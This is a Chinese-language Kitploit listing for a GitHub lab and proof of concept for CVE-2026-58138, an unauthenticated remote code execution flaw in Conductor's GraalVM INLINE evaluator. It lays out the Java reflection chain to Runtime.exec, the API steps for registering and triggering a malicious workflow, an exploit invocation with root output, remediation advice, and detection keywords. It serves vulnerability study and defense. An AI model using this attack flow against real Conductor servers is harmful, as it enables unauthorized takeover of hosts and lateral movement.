Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-58138 — CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator (HostAccess.ALL). Lab + PoC, verified e2e (root). | Kitploit
工具/GitHubGitHub/ch4120n/cve-2026-58138
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubch4120n/cve-2026-58138

CVE-2026-58138

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator (HostAccess.ALL). Lab + PoC, verified e2e (root).

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-58138 — 通过 GraalVM Evaluator 实现 Conductor 未授权远程代码执行 (RCE)

CVE CVSS Status Auth

TL;DR: Orkes/OSS Conductor(版本 3.21.21 至 < 3.30.2)在 INLINE 任务中使用 GraalVM 上下文评估用户提供的 JavaScript,该上下文具有完全主机访问权限(HostAccess.ALL)。由于社区 API默认无认证,任何未经身份验证的用户都可以提交恶意工作流,从绑定的 JavaScript 对象跳转到 java.lang.Runtime,并以 Conductor 进程用户(通常为 root)身份实现未授权远程代码执行 (RCE)。


目录

  1. 漏洞概述
  2. 根本原因
  3. 利用流程
  4. 快速入门与复现
  5. 影响
  6. 修复建议
  7. 检测
  8. 致谢与免责声明

漏洞概述

版本说明: 直至 ~3.29.x 的版本使用简单的 allowHostAccess(HostAccess.ALL) 配置,本 PoC 直接利用该配置。版本 3.30.0 和 3.30.1 引入了部分黑名单(阻止部分反射),但完整的修复(allowHostClassLoading(false) 加上引擎加固)仅在 3.30.2 中实施。本 PoC 针对无沙箱配置。


根本原因

该漏洞存在于 Conductor 配置 GraalVM 多语言上下文以执行脚本评估的方式中。

在 core/.../events/ScriptEvaluator.java(≤ 3.29.x)中,上下文按如下方式构建:

root@kitploit:~
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // 危险:完全主机互操作,无沙箱
        .build();

为什么这是致命的:

  1. HostAccess.ALL 授予 JavaScript 引擎调用 Java 主机对象上任何方法或访问任何字段的权限。
  2. INLINE 任务将其输入参数绑定到 JavaScript 变量 $,该变量是一个真实 Java 对象。
  3. 攻击者可以从 $ 开始链式调用 Java 反射: $.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>")。
  4. Python 评估器(Context.newBuilder("python").allowAllAccess(true))也存在同样的缺陷。

利用流程

该攻击无需任何认证,仅需三个简单步骤:

  1. 注册: 向 /api/metadata/workflow 发送 POST 请求,携带恶意工作流定义。INLINE 任务的 expression 字段包含反射式 JavaScript 负载。
  2. 执行: 向 /api/workflow/{workflow_name} 发送 POST 请求以触发工作流。
  3. 提取: GraalVM 引擎执行负载。反射式的 Runtime.exec 运行操作系统命令,PoC 巧妙捕获 stdout 并将其作为任务的 result 输出返回,随后通过 API 获取。

快速入门与复现

1. 启动脆弱性实验环境

使用 Docker 启动本地脆弱版本 Conductor 实例。

root@kitploit:~
# 克隆仓库并启动实验环境
docker compose -f docker/docker-lab.yml up -d

# 等待约 60 秒,等待一体化服务器完全启动

2. 执行 PoC

运行提供的 Python 利用脚本。它仅依赖 Python 标准库(无需外部依赖)。

root@kitploit:~
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"

3. 预期输出

root@kitploit:~
[*] 目标: http://127.0.0.1:8080
[*] 命令: 'id; hostname; whoami'
[*] 注册包含恶意 INLINE(javascript)任务的工作流……(无需认证)
[*] 启动工作流执行……(无需认证)
[*] 已启动工作流 id=pwn_1705432100;正在读取 INLINE 任务输出……

[+] 未授权 RCE 已确认 —— 来自 Conductor 主机的命令输出:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64

注意:uid=0(root) 输出证明了在主机上的真实执行,而非模拟响应。


影响

成功利用可使攻击者在 Conductor 编排主机上获得任意操作系统命令执行能力。

由于 Conductor 通常以提升的权限部署以管理基础设施,这通常会导致:

  • 工作流引擎完全沦陷。
  • 访问底层持久化层(Redis、PostgreSQL、Elasticsearch)。
  • 通过存储的凭据或工作流触发的下游系统进行横向移动。

修复建议

  1. 立即升级: 更新至 Conductor ≥ 3.30.2。在此版本中,JS 和 Python 评估器不再启用主机访问或类加载。
  2. 纵深防御:
    • 在 Conductor API 前放置认证网关(例如 OAuth2、API 密钥)。
    • 以非 root、最小权限用户身份运行 Conductor 服务器进程。
    • 实施严格的网络分段,限制可注册或执行工作流的角色。

检测

监控您的环境中以下入侵指标 (IoC):

  • 工作流定义: 标记任何 INLINE、LAMBDA、DO_WHILE 或 SWITCH 任务,其 expression 字符串引用:
    • getClass、forName、Runtime、exec、ProcessBuilder
    • java.lang.reflect 或通用 java. 包访问
  • 主机级告警: 监控 Conductor JVM 进程是否意外产生 shell 解释器(sh、bash、cmd.exe)或发起出站网络连接。

有关反射链、版本特定的评估器配置以及补丁分析的深入探讨,请参阅 ANALYSIS.md。


致谢与免责声明

  • 仓库维护: Ch4120N
  • PoC 优化: (Ch4120N/CVE-2026-58138)
  • 漏洞公告参考: Orkes Conductor 未授权 RCE 通过 GraalVM 脚本评估器

免责声明: 本仓库包含一个独立的、可复现的实验环境及概念验证 (PoC),仅用于防御、教育和授权安全测试目的。请勿将本代码用于非您所有或未经明确书面许可的系统。作者不对滥用行为承担任何责任。

下载工具
属性详情
CVE 标识符CVE-2026-58138
受影响软件Conductor 3.21.21 至 3.30.1
修复版本3.30.2(提交:87a7d96、c691e35)
漏洞类型CWE-94:代码注入(GraalVM 多语言沙箱绕过)
CVSS v3.1 评分9.8(严重) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
认证要求无(社区 API 默认未认证)
验证情况已在 conductoross/conductor:3.22.3 上以 root 确认